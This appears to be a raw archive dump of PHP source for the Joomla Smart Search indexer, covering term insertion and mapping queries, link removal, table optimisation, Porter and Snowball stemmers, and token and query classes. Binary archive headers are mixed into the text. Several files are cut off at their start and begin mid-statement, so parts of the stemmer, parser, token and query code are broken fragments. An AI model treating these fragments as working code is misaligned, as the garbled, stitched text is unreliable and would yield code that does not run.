$db->quoteName('weight') . ', ' . $db->quoteName('soundex') . ')' . ' SELECT ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term)' . ' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' AS ta' . ' WHERE 1 NOT IN ' . '( SELECT 1 FROM ' . $db->quoteName('#__finder_terms') . ' WHERE ta.term_id = 0 )' . ' AND ta.term_id = 0' . ' GROUP BY ta.term'; $db->setQuery($queryInsIgn); $db->query(); // Check for a database error. if ($db->getErrorNum()) { //@TODO: PostgreSQL doesn't support SOUNDEX out of the box $query->clear(); $query->select('ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term)') ->from($db->quoteName('#__finder_tokens_aggregate') . ' AS ta') ->where('ta.term_id = 0'); $db->setQuery($query); $subQuVal = $db->loadObject(); $quRepl_p1 = 'UPDATE ' . $db->quoteName('#__finder_terms') . ' AS ta' . ' SET ' . ' (' . $db->quoteName('term') . ', ' . $db->quoteName('stem') . ', ' . $db->quoteName('common') . ', ' . $db->quoteName('phrase') . ', ' . $db->quoteName('weight') . ', ' . $db->quoteName('soundex') . ')' . ' = ' . ' (' . $db->quote($subQuVal->term) . ', ' . $db->quote($subQuVal->stem) . ', ' . $db->quote($subQuVal->common) . ', ' . $db->quote($subQuVal->phrase) . ', ' . $db->quote($subQuVal->weight) . ', ' . $db->quote($subQuVal->soundex) . ')' . ' WHERE ' . $db->quoteName('term') . ' = ' . $db->quote($subQuVal->term) . ' AND ' . $db->quoteName('stem') . ' = ' . $db->quote($subQuVal->stem) . ' AND ' . $db->quoteName('common') . ' = ' . $db->quote($subQuVal->common) . ' AND ' . $db->quoteName('phrase') . ' = ' . $db->quote($subQuVal->phrase) . ' AND ' . $db->quoteName('weight') . ' = ' . $db->quote($subQuVal->weight) . ' AND ' . $db->quoteName('soundex') . ' = ' . $db->quote($subQuVal->soundex); $db->setQuery($quRepl_p1); $db->query(); $quRepl_p2 = 'INSERT INTO ' . $db->quoteName('#__finder_terms') . ' (' . $db->quoteName('term') . ', ' . $db->quoteName('stem') . ', ' . $db->quoteName('common') . ', ' . $db->quoteName('phrase') . ', ' . $db->quoteName('weight') . ', ' . $db->quoteName('soundex') . ')' . ' SELECT ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term)' . ' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' AS ta' . ' WHERE 1 NOT IN ' . '( SELECT 1 FROM ' . $db->quoteName('#__finder_terms') . ' WHERE ta.term_id = 0 )' . ' AND ta.term_id = 0' . ' GROUP BY ta.term'; $db->setQuery($quRepl_p2); $db->query(); // Check for a database error. if ($db->getErrorNum()) { throw new Exception($db->getErrorMsg(), 500); } } End of failing edit */ //@TODO: PostgreSQL doesn't support INSERT IGNORE INTO //@TODO: PostgreSQL doesn't support SOUNDEX out of the box $db->setQuery( 'INSERT IGNORE INTO ' . $db->quoteName('#__finder_terms') . ' (' . $db->quoteName('term') . ', ' . $db->quoteName('stem') . ', ' . $db->quoteName('common') . ', ' . $db->quoteName('phrase') . ', ' . $db->quoteName('weight') . ', ' . $db->quoteName('soundex') . ')' . ' SELECT ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term)' . ' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' AS ta' . ' WHERE ta.term_id = 0' . ' GROUP BY ta.term' ); $db->query(); // Check for a database error. if ($db->getErrorNum()) { { throw new Exception($db->getErrorMsg(), 500); } } /* * Now, we just inserted a bunch of new records into the terms table * so we need to go back and update the aggregate table with all the * new term ids. */ $query = $db->getQuery(true); $query->update($db->quoteName('#__finder_tokens_aggregate') . ' AS ta'); $query->join('INNER', $db->quoteName('#__finder_terms') . ' AS t ON t.term = ta.term'); $query->set('ta.term_id = t.term_id'); $query->where('ta.term_id = 0'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Mark afterTerms in the profiler. self::$profiler ? self::$profiler->mark('afterTerms') : null; /* * After we've made sure that all of the terms are in the terms table * and the aggregate table has the correct term ids, we need to update * the links counter for each term by one. */ $query->clear(); $query->update($db->quoteName('#__finder_terms') . ' AS t'); $query->join('INNER', $db->quoteName('#__finder_tokens_aggregate') . ' AS ta ON ta.term_id = t.term_id'); $query->set('t.' . $db->quoteName('links') . ' = t.links + 1'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Mark afterTerms in the profiler. self::$profiler ? self::$profiler->mark('afterTerms') : null; /* * Before we can insert all of the mapping rows, we have to figure out * which mapping table the rows need to be inserted into. The mapping * table for each term is based on the first character of the md5 of * the first character of the term. In php, it would be expressed as * substr(md5(substr($token, 0, 1)), 0, 1) */ $query->clear(); $query->update($db->quoteName('#__finder_tokens_aggregate')); $query->set($db->quoteName('map_suffix') . ' = SUBSTR(MD5(SUBSTR(' . $db->quoteName('term') . ', 1, 1)), 1, 1)'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } /* * At this point, the aggregate table contains a record for each * term in each context. So, we're going to pull down all of that * data while grouping the records by term and add all of the * sub-totals together to arrive at the final total for each token for * this link. Then, we insert all of that data into the appropriate * mapping table. */ for ($i = 0; $i <= 15; $i++) { // Get the mapping table suffix. $suffix = dechex($i); /* * We have to run this query 16 times, one for each link => term * mapping table. */ //@TODO: Convert to JDatabaseQuery $db->setQuery( 'INSERT INTO ' . $db->quoteName('#__finder_links_terms' . $suffix) . ' (' . $db->quoteName('link_id') . ', ' . $db->quoteName('term_id') . ', ' . $db->quoteName('weight') . ')' . ' SELECT ' . (int) $linkId . ', ' . $db->quoteName('term_id') . ',' . ' ROUND(SUM(' . $db->quoteName('context_weight') . '), 8)' . ' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' WHERE ' . $db->quoteName('map_suffix') . ' = ' . $db->quote($suffix) . ' GROUP BY ' . $db->quoteName('term') . ' ORDER BY ' . $db->quoteName('term') . ' DESC' ); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Mark afterMapping in the profiler. self::$profiler ? self::$profiler->mark('afterMapping') : null; // Update the signature. $query->clear(); $query->update($db->quoteName('#__finder_links')); $query->set($db->quoteName('md5sum') . ' = ' . $db->quote($curSig)); $query->where($db->quoteName('link_id') . ' = ' . $db->quote($linkId)); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Mark afterSigning in the profiler. self::$profiler ? self::$profiler->mark('afterSigning') : null; // Truncate the tokens tables. $db->truncateTable('#__finder_tokens'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Truncate the tokens aggregate table. $db->truncateTable('#__finder_tokens_aggregate'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Toggle the token tables back to memory tables. FinderIndexer::toggleTables(true); // Mark afterTruncating in the profiler. self::$profiler ? self::$profiler->mark('afterTruncating') : null; return $linkId; } /** * Method to remove a link from the index. * * @param integer $linkId The id of the link. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public static function remove($linkId) { $db = JFactory::getDBO(); $query = $db->getQuery(true); // Get the indexer state. $state = FinderIndexer::getState(); // Update the link counts and remove the mapping records. for ($i = 0; $i <= 15; $i++) { // Update the link counts for the terms. $query->update($db->quoteName('#__finder_terms') . ' AS t'); $query->join('INNER', $db->quoteName('#__finder_links_terms' . dechex($i)) . ' AS m ON m.term_id = t.term_id'); $query->set($db->quoteName('t'). '.' . $db->quoteName('links') . ' ='. $db->quoteName('t') .'.' . $db->quoteName('links') . ' - 1'); $query->where($db->quoteName('m') . '.' . $db->quoteName('link_id') . ' = ' . $db->quote((int) $linkId)); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Remove all records from the mapping tables. $query->clear(); $query->delete(); $query->from($db->quoteName('#__finder_links_terms' . dechex($i))); $query->where($db->quoteName('link_id') . ' = ' . (int) $linkId); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Delete all orphaned terms. $query->clear(); $query->delete(); $query->from($db->quoteName('#__finder_terms')); $query->where($db->quoteName('links') . ' <= 0'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Delete the link from the index. $query->clear(); $query->delete(); $query->from($db->quoteName('#__finder_links')); $query->where($db->quoteName('link_id') . ' = ' . $db->quote((int) $linkId)); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Remove the taxonomy maps. FinderIndexerTaxonomy::removeMaps($linkId); // Remove the orphaned taxonomy nodes. FinderIndexerTaxonomy::removeOrphanNodes(); return true; } /** * Method to optimize the index. We use this method to remove unused terms * and any other optimizations that might be necessary. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public static function optimize() { // Get the indexer state. $state = FinderIndexer::getState(); // Get the database object. $db = JFactory::getDBO(); $query = $db->getQuery(true); // Delete all orphaned terms. $query->delete(); $query->from($db->quoteName('#__finder_terms')); $query->where($db->quoteName('links') . ' <= 0'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Optimize the links table. //@TODO: PostgreSQL doesn't support OPTIMIZE TABLE // Temporary workaround for non-MySQL solutions if (strpos($db->name, 'mysql') === 0) { $db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_links')); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } //@TODO: PostgreSQL doesn't support OPTIMIZE TABLE // Temporary workaround for non-MySQL solutions if (strpos($db->name, 'mysql') === 0) { for ($i = 0; $i <= 15; $i++) { // Optimize the terms mapping table. $db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_links_terms' . dechex($i))); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } } // Optimize the terms mapping table. //@TODO: PostgreSQL doesn't support OPTIMIZE TABLE // Temporary workaround for non-MySQL solutions if (strpos($db->name, 'mysql') === 0) { $db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_links_terms')); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Remove the orphaned taxonomy nodes. FinderIndexerTaxonomy::removeOrphanNodes(); // Optimize the taxonomy mapping table. //@TODO: PostgreSQL doesn't support OPTIMIZE TABLE // Temporary workaround for non-MySQL solutions if (strpos($db->name, 'mysql') === 0) { $db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_taxonomy_map')); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } return true; } /** * Method to get a content item's signature. * * @param object $item The content item to index. * * @return string The content item's signature. * * @since 2.5 */ protected static function getSignature($item) { // Get the indexer state. $state = FinderIndexer::getState(); // Get the relevant configuration variables. $config = array(); $config[] = $state->weights; $config[] = $state->options->get('stem', 1); $config[] = $state->options->get('stemmer', 'porter_en'); return md5(serialize(array($item, $config))); } /** * Method to parse input, tokenize it, and then add it to the database. * * @param mixed $input String or resource to use as input. A resource * input will automatically be chunked to conserve * memory. Strings will be chunked if longer than * 2K in size. * @param integer $context The context of the input. See context constants. * @param string $lang The language of the input. * @param string $format The format of the input. * * @return integer The number of tokens extracted from the input. * * @since 2.5 */ protected static function tokenizeToDB($input, $context, $lang, $format) { $count = 0; $buffer = null; // If the input is a resource, batch the process out. if (is_resource($input)) { // Batch the process out to avoid memory limits. while (!feof($input)) { // Read into the buffer. $buffer .= fread($input, 2048); // If we haven't reached the end of the file, seek to the last // space character and drop whatever is after that to make sure // we didn't truncate a term while reading the input. if (!feof($input)) { // Find the last space character. $ls = strrpos($buffer, ' '); // Adjust string based on the last space character. if ($ls) { // Truncate the string to the last space character. $string = substr($buffer, 0, $ls); // Adjust the buffer based on the last space for the // next iteration and trim. $buffer = JString::trim(substr($buffer, $ls)); } // No space character was found. else { $string = $buffer; } } // We've reached the end of the file, so parse whatever remains. else { $string = $buffer; } // Parse the input. $string = FinderIndexerHelper::parse($string, $format); // Check the input. if (empty($string)) { continue; } // Tokenize the input. $tokens = FinderIndexerHelper::tokenize($string, $lang); // Add the tokens to the database. $count += FinderIndexer::addTokensToDB($tokens, $context); // Check if we're approaching the memory limit of the token table. if ($count > self::$state->options->get('memory_table_limit', 30000)) { FinderIndexer::toggleTables(false); } unset($string); unset($tokens); } } // If the input is greater than 2K in size, it is more efficient to // batch out the operation into smaller chunks of work. elseif (strlen($input) > 2048) { $start = 0; $end = strlen($input); $chunk = 2048; // As it turns out, the complex regular expressions we use for // sanitizing input are not very efficient when given large // strings. It is much faster to process lots of short strings. while ($start < $end) { // Setup the string. $string = substr($input, $start, $chunk); // Find the last space character if we aren't at the end. $ls = (($start + $chunk) < $end ? strrpos($string, ' ') : false); // Truncate to the last space character. if ($ls !== false) { $string = substr($string, 0, $ls); } // Adjust the start position for the next iteration. $start += ($ls !== false ? ($ls + 1 - $chunk) + $chunk : $chunk); // Parse the input. $string = FinderIndexerHelper::parse($string, $format); // Check the input. if (empty($string)) { continue; } // Tokenize the input. $tokens = FinderIndexerHelper::tokenize($string, $lang); // Add the tokens to the database. $count += FinderIndexer::addTokensToDB($tokens, $context); // Check if we're approaching the memory limit of the token table. if ($count > self::$state->options->get('memory_table_limit', 30000)) { FinderIndexer::toggleTables(false); } } } else { // Parse the input. $input = FinderIndexerHelper::parse($input, $format); // Check the input. if (empty($input)) { return $count; } // Tokenize the input. $tokens = FinderIndexerHelper::tokenize($input, $lang); // Add the tokens to the database. $count = FinderIndexer::addTokensToDB($tokens, $context); } return $count; } /** * Method to add a set of tokens to the database. * * @param mixed $tokens An array or single FinderIndexerToken object. * @param mixed $context The context of the tokens. See context constants. [optional] * * @return integer The number of tokens inserted into the database. * * @since 2.5 * @throws Exception on database error. */ protected static function addTokensToDB($tokens, $context = '') { // Get the database object. $db = JFactory::getDBO(); $query = $db->getQuery(true); // Force tokens to an array. $tokens = is_array($tokens) ? $tokens : array($tokens); // Count the number of token values. $values = 0; // Iterate through the tokens to create SQL value sets. foreach ($tokens as $token) { $query->values( $db->quote($token->term) . ', ' . $db->quote($token->stem) . ', ' . (int) $token->common . ', ' . (int) $token->phrase . ', ' . (float) $token->weight . ', ' . (int) $context ); $values++; } // Insert the tokens into the database. $query->insert($db->quoteName('#__finder_tokens')); $query->columns( array( $db->quoteName('term'), $db->quoteName('stem'), $db->quoteName('common'), $db->quoteName('phrase'), $db->quoteName('weight'), $db->quoteName('context') ) ); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return $values; } /** * Method to switch the token tables from Memory tables to MyISAM tables * when they are close to running out of memory. * * @param boolean $memory Flag to control how they should be toggled. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. * @todo PostgreSQL doesn't support setting ENGINEs, determine how to handle setting tables */ protected static function toggleTables($memory) { static $state; // Get the database adapter. $db = JFactory::getDBO(); // Temporary workaround for non-MySQL solutions if (strpos($db->name, 'mysql') !== 0) { return true; } // Check if we are setting the tables to the Memory engine. if ($memory === true && $state !== true) { // Set the tokens table to Memory. $db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens') . ' ENGINE = MEMORY'); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Set the tokens aggregate table to Memory. $db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens_aggregate') . ' ENGINE = MEMORY'); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Set the internal state. $state = $memory; } // We must be setting the tables to the MyISAM engine. elseif ($memory === false && $state !== false) { // Set the tokens table to MyISAM. $db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens') . ' ENGINE = MYISAM'); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Set the tokens aggregate table to MyISAM. $db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens_aggregate') . ' ENGINE = MYISAM'); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Set the internal state. $state = $memory; } return true; } } PK@y>\߶ɥ4components/com_finder/helpers/indexer/parser/txt.phpnuW+A\67components/com_finder/helpers/indexer/parser/index.htmlnuW+APK@y>\)6components/com_finder/helpers/indexer/parser/.htaccessnuW+A Order allow,deny Deny from all PK@y>\J\ ,VEE5components/com_finder/helpers/indexer/parser/html.phpnuW+A]*>.*?#si', ' ', $input); // Deal with spacing issues in the input. $input = str_replace('>', '> ', $input); $input = str_replace(array(' ', ' '), ' ', $input); $input = trim(preg_replace('#\s+#u', ' ', $input)); // Strip the tags from the input and decode entities. $input = strip_tags($input); $input = html_entity_decode($input, ENT_QUOTES, 'UTF-8'); $input = trim(preg_replace('#\s+#u', ' ', $input)); return $input; } } PK@y>\8\#'#';components/com_finder/helpers/indexer/stemmer/porter_en.phpnuW+Acache[$lang][$token])) { // Stem the token. $result = $token; $result = self::_step1ab($result); $result = self::_step1c($result); $result = self::_step2($result); $result = self::_step3($result); $result = self::_step4($result); $result = self::_step5($result); // Add the token to the cache. $this->cache[$lang][$token] = $result; } return $this->cache[$lang][$token]; } /** * Step 1 * * @param string $word The token to stem. * * @return string * * @since 2.5 */ private static function _step1ab($word) { // Part a if (substr($word, -1) == 's') { self::_replace($word, 'sses', 'ss') or self::_replace($word, 'ies', 'i') or self::_replace($word, 'ss', 'ss') or self::_replace($word, 's', ''); } // Part b if (substr($word, -2, 1) != 'e' or !self::_replace($word, 'eed', 'ee', 0)) { // First rule $v = self::$_regex_vowel; // ing and ed // Note use of && and OR, for precedence reasons if (preg_match("#$v+#", substr($word, 0, -3)) && self::_replace($word, 'ing', '') or preg_match("#$v+#", substr($word, 0, -2)) && self::_replace($word, 'ed', '')) { // If one of above two test successful if (!self::_replace($word, 'at', 'ate') and !self::_replace($word, 'bl', 'ble') and !self::_replace($word, 'iz', 'ize')) { // Double consonant ending if (self::_doubleConsonant($word) and substr($word, -2) != 'll' and substr($word, -2) != 'ss' and substr($word, -2) != 'zz') { $word = substr($word, 0, -1); } elseif (self::_m($word) == 1 and self::_cvc($word)) { $word .= 'e'; } } } } return $word; } /** * Step 1c * * @param string $word The token to stem. * * @return string * * @since 2.5 */ private static function _step1c($word) { $v = self::$_regex_vowel; if (substr($word, -1) == 'y' && preg_match("#$v+#", substr($word, 0, -1))) { self::_replace($word, 'y', 'i'); } return $word; } /** * Step 2 * * @param string $word The token to stem. * * @return string * * @since 2.5 */ private static function _step2($word) { switch (substr($word, -2, 1)) { case 'a': self::_replace($word, 'ational', 'ate', 0) or self::_replace($word, 'tional', 'tion', 0); break; case 'c': self::_replace($word, 'enci', 'ence', 0) or self::_replace($word, 'anci', 'ance', 0); break; case 'e': self::_replace($word, 'izer', 'ize', 0); break; case 'g': self::_replace($word, 'logi', 'log', 0); break; case 'l': self::_replace($word, 'entli', 'ent', 0) or self::_replace($word, 'ousli', 'ous', 0) or self::_replace($word, 'alli', 'al', 0) or self::_replace($word, 'bli', 'ble', 0) or self::_replace($word, 'eli', 'e', 0); break; case 'o': self::_replace($word, 'ization', 'ize', 0) or self::_replace($word, 'ation', 'ate', 0) or self::_replace($word, 'ator', 'ate', 0); break; case 's': self::_replace($word, 'iveness', 'ive', 0) or self::_replace($word, 'fulness', 'ful', 0) or self::_replace($word, 'ousness', 'ous', 0) or self::_replace($word, 'alism', 'al', 0); break; case 't': self::_replace($word, 'biliti', 'ble', 0) or self::_replace($word, 'aliti', 'al', 0) or self::_replace($word, 'iviti', 'ive', 0); break; } return $word; } /** * Step 3 * * @param string $word The token to stem. * * @return string * * @since 2.5 */ private static function _step3($word) { switch (substr($word, -2, 1)) { case 'a': self::_replace($word, 'ical', 'ic', 0); break; case 's': self::_replace($word, 'ness', '', 0); break; case 't': self::_replace($word, 'icate', 'ic', 0) or self::_replace($word, 'iciti', 'ic', 0); break; case 'u': self::_replace($word, 'ful', '', 0); break; case 'v': self::_replace($word, 'ative', '', 0); break; case 'z': self::_replace($word, 'alize', 'al', 0); break; } return $word; } /** * Step 4 * * @param string $word The token to stem. * * @return string * * @since 2.5 */ private static function _step4($word) { switch (substr($word, -2, 1)) { case 'a': self::_replace($word, 'al', '', 1); break; case 'c': self::_replace($word, 'ance', '', 1) or self::_replace($word, 'ence', '', 1); break; case 'e': self::_replace($word, 'er', '', 1); break; case 'i': self::_replace($word, 'ic', '', 1); break; case 'l': self::_replace($word, 'able', '', 1) or self::_replace($word, 'ible', '', 1); break; case 'n': self::_replace($word, 'ant', '', 1) or self::_replace($word, 'ement', '', 1) or self::_replace($word, 'ment', '', 1) or self::_replace($word, 'ent', '', 1); break; case 'o': if (substr($word, -4) == 'tion' or substr($word, -4) == 'sion') { self::_replace($word, 'ion', '', 1); } else { self::_replace($word, 'ou', '', 1); } break; case 's': self::_replace($word, 'ism', '', 1); break; case 't': self::_replace($word, 'ate', '', 1) or self::_replace($word, 'iti', '', 1); break; case 'u': self::_replace($word, 'ous', '', 1); break; case 'v': self::_replace($word, 'ive', '', 1); break; case 'z': self::_replace($word, 'ize', '', 1); break; } return $word; } /** * Step 5 * * @param string $word The token to stem. * * @return string * * @since 2.5 */ private static function _step5($word) { // Part a if (substr($word, -1) == 'e') { if (self::_m(substr($word, 0, -1)) > 1) { self::_replace($word, 'e', ''); } elseif (self::_m(substr($word, 0, -1)) == 1) { if (!self::_cvc(substr($word, 0, -1))) { self::_replace($word, 'e', ''); } } } // Part b if (self::_m($word) > 1 and self::_doubleConsonant($word) and substr($word, -1) == 'l') { $word = substr($word, 0, -1); } return $word; } /** * Replaces the first string with the second, at the end of the string. If third * arg is given, then the preceding string must match that m count at least. * * @param string &$str String to check * @param string $check Ending to check for * @param string $repl Replacement string * @param integer $m Optional minimum number of m() to meet * * @return boolean Whether the $check string was at the end * of the $str string. True does not necessarily mean * that it was replaced. * * @since 2.5 */ private static function _replace(&$str, $check, $repl, $m = null) { $len = 0 - strlen($check); if (substr($str, $len) == $check) { $substr = substr($str, 0, $len); if (is_null($m) or self::_m($substr) > $m) { $str = $substr . $repl; } return true; } return false; } /** * m() measures the number of consonant sequences in $str. if c is * a consonant sequence and v a vowel sequence, and <..> indicates arbitrary * presence, * * gives 0 * vc gives 1 * vcvc gives 2 * vcvcvc gives 3 * * @param string $str The string to return the m count for * * @return integer The m count * * @since 2.5 */ private static function _m($str) { $c = self::$_regex_consonant; $v = self::$_regex_vowel; $str = preg_replace("#^$c+#", '', $str); $str = preg_replace("#$v+$#", '', $str); preg_match_all("#($v+$c+)#", $str, $matches); return count($matches[1]); } /** * Returns true/false as to whether the given string contains two * of the same consonant next to each other at the end of the string. * * @param string $str String to check * * @return boolean Result * * @since 2.5 */ private static function _doubleConsonant($str) { $c = self::$_regex_consonant; return preg_match("#$c{2}$#", $str, $matches) and $matches[0]{0} == $matches[0]{1}; } /** * Checks for ending CVC sequence where second C is not W, X or Y * * @param string $str String to check * * @return boolean Result * * @since 2.5 */ private static function _cvc($str) { $c = self::$_regex_consonant; $v = self::$_regex_vowel; return preg_match("#($c$v$c)$#", $str, $matches) and strlen($matches[1]) == 3 and $matches[1]{2} != 'w' and $matches[1]{2} != 'x' and $matches[1]{2} != 'y'; } } PK@y>\68components/com_finder/helpers/indexer/stemmer/index.htmlnuW+APK@y>\ :components/com_finder/helpers/indexer/stemmer/snowball.phpnuW+Asef) ? $languages[0]->sef : '*'; $lang = $defaultLang; } // Stem the token if it is not in the cache. if (!isset($this->cache[$lang][$token])) { // Get the stem function from the language string. switch ($lang) { // Danish stemmer. case 'da': $function = 'stem_danish'; break; // German stemmer. case 'de': $function = 'stem_german'; break; // English stemmer. default: case 'en': $function = 'stem_english'; break; // Spanish stemmer. case 'es': $function = 'stem_spanish'; break; // Finnish stemmer. case 'fi': $function = 'stem_finnish'; break; // French stemmer. case 'fr': $function = 'stem_french'; break; // Hungarian stemmer. case 'hu': $function = 'stem_hungarian'; break; // Italian stemmer. case 'it': $function = 'stem_italian'; break; // Norwegian stemmer. case 'nb': $function = 'stem_norwegian'; break; // Dutch stemmer. case 'nl': $function = 'stem_dutch'; break; // Portuguese stemmer. case 'pt': $function = 'stem_portuguese'; break; // Romanian stemmer. case 'ro': $function = 'stem_romanian'; break; // Russian stemmer. case 'ru': $function = 'stem_russian_unicode'; break; // Swedish stemmer. case 'sv': $function = 'stem_swedish'; break; // Turkish stemmer. case 'tr': $function = 'stem_turkish_unicode'; break; } // Stem the word if the stemmer method exists. $this->cache[$lang][$token] = function_exists($function) ? $function($token) : $token; } return $this->cache[$lang][$token]; } } PK@y>\)7components/com_finder/helpers/indexer/stemmer/.htaccessnuW+A Order allow,deny Deny from all PK@y>\1components/com_finder/helpers/indexer/stemmer.phpnuW+Aclean($adapter, 'cmd'); $path = dirname(__FILE__) . '/stemmer/' . $adapter . '.php'; $class = 'FinderIndexerStemmer' . ucfirst($adapter); // Check if a stemmer exists for the adapter. if (file_exists($path)) { // Instantiate the stemmer. include_once $path; $instances[$adapter] = new $class; } else { // Throw invalid adapter exception. throw new Exception(JText::sprintf('COM_FINDER_INDEXER_INVALID_STEMMER', $adapter)); } return $instances[$adapter]; } /** * Method to stem a token and return the root. * * @param string $token The token to stem. * @param string $lang The language of the token. * * @return string The root token. * * @since 2.5 */ abstract public function stem($token, $lang); } PK@y>\HV /components/com_finder/helpers/indexer/token.phpnuW+Aterm = implode($spacer, $term); $this->stem = implode($spacer, array_map(array('FinderIndexerHelper', 'stem'), $term, array($lang))); $this->numeric = false; $this->common = false; $this->phrase = true; $this->length = JString::strlen($this->term); /* * Calculate the weight of the token. * * 1. Length of the token up to 30 and divide by 30, add 1. * 2. Round weight to 4 decimal points. */ $this->weight = (($this->length >= 30 ? 30 : $this->length) / 30) + 1; $this->weight = round($this->weight, 4); } else { // Populate the token instance. $this->term = $term; $this->stem = FinderIndexerHelper::stem($this->term, $lang); $this->numeric = (is_numeric($this->term) || (bool) preg_match('#^[0-9,.\-\+]+$#', $this->term)); $this->common = $this->numeric ? false : FinderIndexerHelper::isCommon($this->term, $lang); $this->phrase = false; $this->length = JString::strlen($this->term); /* * Calculate the weight of the token. * * 1. Length of the token up to 15 and divide by 15. * 2. If common term, divide weight by 8. * 3. If numeric, multiply weight by 1.5. * 4. Round weight to 4 decimal points. */ $this->weight = (($this->length >= 15 ? 15 : $this->length) / 15); $this->weight = ($this->common == true ? $this->weight / 8 : $this->weight); $this->weight = ($this->numeric == true ? $this->weight * 1.5 : $this->weight); $this->weight = round($this->weight, 4); } } } PK@y>\e/components/com_finder/helpers/indexer/query.phpnuW+Ainput = isset($options['input']) ? $options['input'] : null; // Get the empty query setting. $this->empty = isset($options['empty']) ? (bool) $options['empty'] : false; // Get the input language. $this->language = !empty($options['language']) ? $options['language'] : FinderIndexerHelper::getDefaultLanguage(); $this->language = FinderIndexerHelper::getPrimaryLanguage($this->language); // Get the matching mode. $this->mode = 'AND'; // Initialize the temporary date storage. $this->dates = new JRegistry; // Populate the temporary date storage. if (isset($options['date1']) && !empty($options['date1'])) { $this->dates->set('date1', $options['date1']); } if (isset($options['date2']) && !empty($options['date1'])) { $this->dates->set('date2', $options['date2']); } if (isset($options['when1']) && !empty($options['date1'])) { $this->dates->set('when1', $options['when1']); } if (isset($options['when2']) && !empty($options['date1'])) { $this->dates->set('when2', $options['when2']); } // Process the static taxonomy filters. if (isset($options['filter']) && !empty($options['filter'])) { $this->processStaticTaxonomy($options['filter']); } // Process the dynamic taxonomy filters. if (isset($options['filters']) && !empty($options['filters'])) { $this->processDynamicTaxonomy($options['filters']); } // Get the date filters. $d1 = $this->dates->get('date1'); $d2 = $this->dates->get('date2'); $w1 = $this->dates->get('when1'); $w2 = $this->dates->get('when2'); // Process the date filters. if (!empty($d1) || !empty($d2)) { $this->processDates($d1, $d2, $w1, $w2); } // Process the input string. $this->processString($this->input, $this->language, $this->mode); // Get the number of matching terms. foreach ($this->included as $token) { $this->terms += count($token->matches); } // Remove the temporary date storage. unset($this->dates); /* * Lastly, determine whether this query can return a result set. */ // Check if we have a query string. if (!empty($this->input)) { $this->search = true; } // Check if we can search without a query string. elseif ($this->empty && (!empty($this->filter) || !empty($this->filters) || !empty($this->date1) || !empty($this->date2))) { $this->search = true; } // We do not have a valid search query. else { $this->search = false; } } /** * Method to convert the query object into a URI string. * * @param string $base The base URI. [optional] * * @return string The complete query URI. * * @since 2.5 */ public function toURI($base = null) { // Set the base if not specified. if (empty($base)) { $base = 'index.php?option=com_finder&view=search'; } // Get the base URI. $uri = JURI::getInstance($base); // Add the static taxonomy filter if present. if (!empty($this->filter)) { $uri->setVar('f', $this->filter); } // Get the filters in the request. $input = JFactory::getApplication()->input; $t = $input->request->get('t', array(), 'array'); // Add the dynamic taxonomy filters if present. 